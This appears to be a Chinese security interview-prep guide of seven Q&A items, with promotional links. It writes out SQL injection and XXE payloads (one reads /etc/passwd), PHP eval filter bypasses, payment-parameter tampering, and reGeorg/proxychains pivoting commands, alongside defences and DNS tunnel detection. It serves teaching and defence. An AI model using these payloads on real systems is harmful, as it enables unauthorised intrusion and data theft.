《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
1. SQL注入进阶
题目:某登录表单使用以下SQL语句验证用户:
SELECT * FROM users WHERE username='$user' AND password='$pass'
已知后端使用MySQL且开启错误回显,但过滤了空格和#
符号。如何构造Payload绕过登录?
答案:
-
技术点:注释符替换、空白符绕过
-
Payload:
admin'/**/or/**/'1'='1'='
-
原理:利用
/**/
代替空格,闭合单引号后通过逻辑表达式绕过密码验证。最终SQL为:
SELECT * FROM users WHERE username='admin'/**/or/**/'1'='1'='' AND password='...'
-
防御:预编译语句、过滤非必要字符、最小化错误信息。
2. XXE漏洞利用
题目:某XML解析接口允许上传数据,如何构造XXE Payload读取服务器上的/etc/passwd
文件?
答案:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>
-
技术点:外部实体注入、文件读取
-
扩展:若无法回显,可结合HTTP外带(OOB)利用盲XXE,通过DNS或HTTP请求将数据发送到攻击者服务器。
3. RCE绕过过滤
题目:某PHP应用存在eval($_GET['cmd'])
,但过滤了system
、exec
等关键词。如何绕过执行id
命令?
答案:
-
Payload:
cmd=echo shell_exec('id');
-
替代方案:利用反引号执行命令:
`id`
,或通过字符串拼接:syste''m('id')
。 -
防御:禁用危险函数(
eval
/system
)、使用白名单过滤。
4. 逻辑漏洞(支付绕过)
题目:某电商平台在支付时前端校验商品价格,如何通过Burp Suite修改请求实现0元支付?
答案:
-
步骤:拦截支付请求,修改
price
或total
参数为0或负数。 -
深层漏洞:若服务端未校验订单状态,可重复提交已完成的订单ID(Race Condition)。
-
防御:服务端校验所有关键参数、使用事务锁防止并发竞争。
5. 水平越权实战
题目:某API接口通过URL参数/userinfo?id=123
获取用户信息,如何检测水平越权?
答案:
-
测试方法:修改
id
为其他用户ID(如124),观察是否返回未授权数据。 -
修复方案:服务端校验Session中的用户身份与请求ID是否匹配。
-
工具:Burp Intruder自动化批量测试ID参数。
6. 内网渗透(代理搭建)
题目:已通过WebShell获取内网主机权限(无公网IP),如何建立隧道代理进一步渗透?
答案:
- 工具链:
-
reGeorg:上传对应脚本(如
tunnel.jsp
),本地执行python reGeorgSocksProxy.py -p 1080 -u http://内网IP/tunnel.jsp
-
Proxychains:配置
socks5 127.0.0.1 1080
,通过代理扫描内网(proxychains nmap -sT 10.0.0.0/24
)。
-
-
进阶:使用
ew
或frp
实现多级跳板。
7. DNS隧道检测
题目:如何识别内网中可能存在的DNS隧道攻击?
答案:
- 检测特征:
-
异常高频DNS请求(尤其是TXT/AAAA记录)。
-
长域名请求(如
a3b2c1.example.com
)。
-
- 工具:
-
Wireshark过滤DNS流量,分析请求内容。
-
DNSQuerySniffer监控异常域名解析。
-
-
防御:限制外部DNS解析、设置白名单域名。